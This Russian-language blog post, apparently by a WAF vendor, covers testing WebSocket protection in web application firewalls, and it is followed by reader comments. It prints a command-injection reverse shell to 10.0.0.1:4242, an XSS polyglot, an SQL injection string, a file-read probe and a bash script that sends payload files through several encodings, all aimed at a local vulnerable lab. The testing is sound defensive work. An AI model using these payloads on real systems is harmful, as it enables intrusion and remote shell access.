Есть мнение, что в силу особенностей вебсокетов, WAF не может их нормально анализировать и защищать. Давайте попробуем разобраться, насколько это утверждение справедливо.
Сперва несколько слов о том что есть вебсокет и где он применяется.
Кратко о websockets
Особенности протокола
Работает поверх TCP-соединения.
Двухсторонний обмен данными в рамках постоянного соединения, в реальном времени, с минимальными накладными расходами.
Для установления соединения клиент формирует особый HTTP‑запрос, на который сервер отвечает определенным образом, т. е. происходит переключение с HTTP на Websocket.
Стандартизирован IETF в виде RFC 6455 в 2011 году, актуальные данные тут
Может быть использован для любого клиентского или серверного приложения.
Поддерживается всеми современными браузерами.
Есть библиотеки для популярных языков: Objective‑C,.NET, Python, Java, node.js, Go.
Для протокола есть расширение RFC 7692 для сжатия данных.
Процедура переключения с HTTP на сокеты довольно неплохо описана в википедии.
Примеры реализаций:
Go |
|
JAVA |
|
Python |
|
PHP |
|
Node.js |
|
Ruby |
Есть еще любопытные реализации типа websocketd ;)
Еще больше информации тут
Области применения:
Приложения реального времени: дашборды, панели мониторинга, торговые терминалы
Игры
Чат-приложения
Распространенные уязвимости и атаки на websockets
Для простоты условно разделю уязвимости на несколько групп:
-
Атаки на безопасность сеанса (Broken Access Control)
Cross‑Site WebSocket Hijacking (CSWSH). Аналог CSRF
-
Атаки на бизнес логику
Race Conditions
-
DoS & DDoS
Неуправляемое потребление ресурсов (Resource Exhaustion): атаки, направленные на исчерпание ресурсов сервера или клиента, таких как память или процессорное время, путем создания большого количества WebSocket‑соединений
Исчерпание количества TCP соединений
-
Атаки, связанные с недостаточной фильтрацией пользовательского ввода
Всевозможные injections (XSS, RCE, SQLi, etc)
SSRF
-
Атаки на реализацию websocket
Ошибки в серверах и библиотеках. Для примера
-
Сетевые атаки
Атаки «Человек посередине» (MITM): злоумышленник перехватывает и изменяет сообщения, передаваемые между клиентом и сервером
Сниффинг: анализ трафика WebSocket для получения конфиденциальных данных
Как видите, возможностей у атакующего немало, отсюда и для разработчиков WAF задача по защите выглядит непросто.
К разнообразию атак нужно еще добавить следующие нюансы:
Любые варианты кодирования данных, передаваемых внутри сокета: json, plaintext, сериализация, кастомные форматы, бинарные данные.
Сложность реализации поведенческого анализа, ввиду того, что данные передаются внутри одной сессии (соединения).
И все же многие WAF заявляют о поддержке вебсокетов...
Как протестировать WAF на защиту вебсокетов?
Тестировать будем обнаружение инъекций, т.к. это наиболее простой и наглядный сценарий, к тому же это можно считать базовой функциональностью WAF.
По результатам тестирования можно будет судить о возможностях WAF разбирать и парсить веб сокеты, а также о качестве сигнатур.
Общая логика — поднять websocket-бэкенд, настроить прохождение трафика через WAF, отправлять разнообразные payload и следить за реакцией.
Все очень похоже на обычное тестирование WAF, про которое мы уже писали ранее.
Сколько попугаев выдает ваш WAF? Обзор утилит для тестирования
Разница лишь в транспорте.
Покажу тестирование на примере нашего продукта, благо он у меня всегда под рукой ;)
А для разнообразия попробуем несколько реализаций вебсокетов.
OWASP Damn Vulnerable Web Sockets (DVWS)
https://github.com/interference-security/DVWS
Довольно старый проект, написан на php, для вебсокетов использует библиотеку Ratchet. Приложение содержит множество уязвимостей: SQLi, Command Injection, XSS, LFI. Подробнее предлагаю посмотреть на странице проекта. При желании можно найти writeup, как пример.
Авторы не добавили в проект Dockerfile, что несколько неудобно, но это не беда, его и docker-compose можно взять из Pull request, что я и сделал, запустив приложение.
На порту 8888 будет висеть фронт, а на 8081 вебсокет.
Пример конфига NGINX для проксирования и фильтрации трафика через WMX ноду:
server {
listen 80;
server_name dvws.local;
wallarm_mode block;
wallarm_parse_websocket on;
location / {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://127.0.0.1:8081;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
Сперва нужно выполнить первоначальную настройку приложения перейдя на http://dvws.local:8888/setup.php
А теперь давайте попробуем проэксплуатировать баги и посмотреть на коммуникацию между клиентом и сервером.
На странице command-execution сначала в поле адрес вставим IP адрес:
В режиме разработчика видно что данные идут через вебсокет.
А потом попробуем добавить к нему reverse shell:
1.1.1.1; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Пример события в ЛК:
Как видите, в этом случае данные передаются в plain text, и для WAF нет особой проблемы их распарсить.
С эксплуатацией других уязвимостей DVWS ситуация схожая, давайте перейдем дальше.
Socket.io
Взглянем другое средство коммуникации, которое может использовать websocket как транспорт при обмене сообщениями.
Интересно оно тем, что добавляет дополнительные метаданные в каждый пакет, подробнее тут. Проверим сможет ли WAF парсить такое.
Возьмем пример чата из https://github.com/socketio/socket.io/tree/main/examples/chat, увы, на этот раз без специально оставленных уязвимостей ;)
Запуск тестового приложения:
git clone https://github.com/socketio/socket.io
cd socket.io/examples/chat/
npm i
npm start
Сервис запустится на порту 3000.
Пример конфига NGINX, я не стал менять server_name, оставил dvws.local.
server {
listen 80;
server_name dvws.local;
wallarm_mode block;
wallarm_parse_websocket on;
location / {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
}
Попробуем отправить несколько запросов и понаблюдать за коммуникацией.
Попробуем отправить какую-нибудь XSS.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Атаки обнаружены, TCP соединение разорвано, а в консоли управления есть соответствующие события.
Websocat
И напоследок попробуем провести более интересное тестирование. Воспользуемся websocat как для имитации сервера, так и для отправки разнообразных payload. Передаваемые данные будем сжимать используя gzip, оборачивать в json и кодировать в base64.
Для начала нужно взять бинарник со страницы проекта.
Запуск сервера:
./websocat -s 127.0.0.1:3000
Конфиг NGINX смотри выше.
Несколько примеров запуска websocat:
# простой интерактивный режим
./websocat ws://dvws.local -E
# простой интерактивный режим с детальным выводом
./websocat ws://dvws.local -E -vv
# Оборачивать payload в JSON, method и params.
# {"jsonrpc":"2.0","id":1, "method":"f", "params":[]}
./websocat ws://dvws.local/ --jsonrpc -E
# сжимать передаваемы данные gzip
./websocat ws://dvws.local/ --binary --compress-gzip -E
# Отправить строку, вывести более детальный log
echo "/etc/passwd" | ./websocat - log:timestamp:"ws://dvws.local" -E
Но это все для единичных запросов... Веселее будет в качестве источника payload взять:
https://wmx-public.gitlab.yandexcloud.net/wmx-public/gotestwaf/-/tree/master/testcases
https://github.com/nemesida-waf/waf-bypass/tree/master/utils/payload
Что-то еще на ваш выбор ;)
Далее сформировать файлы, содержащие множество атак, а также отдельные файлы с false-positive, и прогнать пачкой. Сделать это можно подручными средствами.
payloads_send.sh
#!/bin/bash
TARGET="ws://dvws.local/"
FILENAME=$1
ENCODING=$2
if [[ $# -eq 0 ]] ; then
echo 'Usage example: payloads_send.sh _payloads_file_ _encoding_method_'
echo 'Encoding methods: plain, base64, gzip, json'
exit 1
fi
while IFS= read -r line
do
echo "$line"
case "$ENCODING" in
plain) echo "$line" | ./websocat $TARGET --binary -E ;;
base64) echo "$line" | base64 | ./websocat $TARGET --binary -E ;;
gzip) echo "$line" | gzip | ./websocat $TARGET --binary -E ;;
json) echo "SOME_METHOD $line" | ./websocat $TARGET --text --jsonrpc -E ;;
*) echo "$line" | ./websocat $TARGET --binary -E ;;
esac
shift
done < "$FILENAME"
На стороне сервера можно включить запись прошедших payload в файл, чтобы потом возможно было сделать diff и понять что проходит через WAF, а что – нет.
./websocat ws-l:127.0.0.1:3000 writefile:passed.txt
Либо просто посмотреть на вывод websocat сервера в STDOUT.
Для наглядности – запустил websocat с флагом –vv и попробовал среди прочего отправить:
123) AND 12=12 AND JSON_DEPTH('{}') != 2521
Рекомендации по безопасности
Используйте WSS (WebSockets Secure) вместо незашифрованных websockets.
Используйте CSRF токены для защиты от CSWSH.
Проверяйте заголовок ORIGIN для защиты от CSWSH.
Проверяйте и экранируйте пользовательский ввод.
Используйте Rate Limiting для уменьшения рисков атак на отказ в обслуживании (DoS).
Задайте ограничения на максимальный размер передаваемых данных внутри websocket, это снизит риски DoS.
Используйте WAF с поддержкой websockets ;)
Если в вашем WAF заявлена поддержка вебсокетов, то не лишним будет её протестировать.
Инструментарий и полезные ссылки
https://github.com/PalindromeLabs/STEWS
https://github.com/PalindromeLabs/awesome-websocket-security
https://book.hacktricks.xyz/pentesting-web/websocket-attacks
https://portswigger.net/web-security/websockets
https://github.com/PalindromeLabs/WebSockets-Playground
Заключение
В начале статьи был поставлен вопрос о возможности WAF обрабатывать и защищать websocket. Как видите WAF с этим справляется, но с некоторыми оговорками:
У WAF должен быть отдельный модуль или парсер заточенный под вебсокет.
Если ваше приложение использует расширение RFC 7692, то и WAF должен его поддерживать.
В WAF желателен механизм работы с false-positive.
Должен быть парсинг данных внутри вебсокета (json, gzip, xml, etc).
WAF будет очень тяжело или вовсе невозможно анализировать сообщения внутри вебсокета если используются бинарные / кастомные протоколы передачи данных.
Тяжело или невозможно реализовать поведенческий анализ.
Если защита вебсокетов для вас актуальна – приходите к нам на бесплатный пилот.
Удачи в защите! Буду рад конструктивной критике и дополнениям.
Подписывайтесь на канал. Здесь мы делимся информацией по продукту, нашими находками и наработками, пока они не оформляются в большой статический материал.
Комментарии (8)
rpy3uH
02.10.2024 06:33+1Я как разработчик веб-приложения, в котором используются веб-сокеты со сложно-структурированными джейсонами, слабо представляю кейс, в котором буду платить деньги кому-то вместо того, чтобы реализовать у себя дополнительную валидацию отдельно взятых полей. Ведь решение для меня будет очень кастомное и ждать вашу реализацию я буду долго. Она ещё ведь будет съедать мои вычислительные ресурсы. Причём, если вдруг я захочу изменить свои структуры, то мне придётся ещё ждать, когда вы обновите свою реализацию в WAF.
В общем, слишком сферически-вакуумная статья. Слабо представляю реализацию защиты веб-сокетов на практике.Vadim_Shepelev Автор
02.10.2024 06:33Если бы все разработчики реализовывали надежные методы фильтрации входящих данных, то WAF не были бы нужны и для HTTP. Люди допускают ошибки, и WAF - это дополнительный рубеж обороны.
Для нормального WAF не важно, какой JSON, сложно структурированный или попроще, - он должен парситься. А вот если у вас свой формат, то да, вы правы: WAF про него ничего не знает и, скорее всего, не сможет корректно распарсить.
Не только мы заявляем о поддержке вебсокетов; есть множество других вендоров. В статье описан вариант, как можно протестировать качество защиты вебсокетов, если для вас это актуально.
rpy3uH
02.10.2024 06:33Для нормального WAF не важно, какой JSON
А как он узнает, какие поля надо проверять, а какие нет? И как он узнает правила проверки этих полей?Vadim_Shepelev Автор
02.10.2024 06:33Скорее всего, WAF должен проверять все поля JSON по-умолчанию. Не могу сказать за всех, но наш делает именно так.
rpy3uH
02.10.2024 06:33Я вот уверен, что в большинстве веб-приложений проверять все поля не нужно и даже вредно. А вот какой-либо настройки на ваших скриншотах я не увидел.
andrettv
02.10.2024 06:33+1Требования к защите WebSockets в стандарте ASVS (см. раздел V13.5) - https://github.com/OWASP/ASVS/blob/master/5.0/en/0x21-V13-API.md
Сценарии тестирования защищённости WebSockets в руководстве WSTG - https://github.com/andrettv/WSTG/blob/master/WSTG-ru/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets.md
slca
Socket.IO для Node.JS это не имплементация websocket, это грубо говоря кастомный протокол, который работает поверх нескольких типов транспорта, включая вебсокеты. К нативным вебсокетам нельзя подключиться клиентом Socket.IO и наоборот.
Vadim_Shepelev Автор
Ценное замечание, поправил.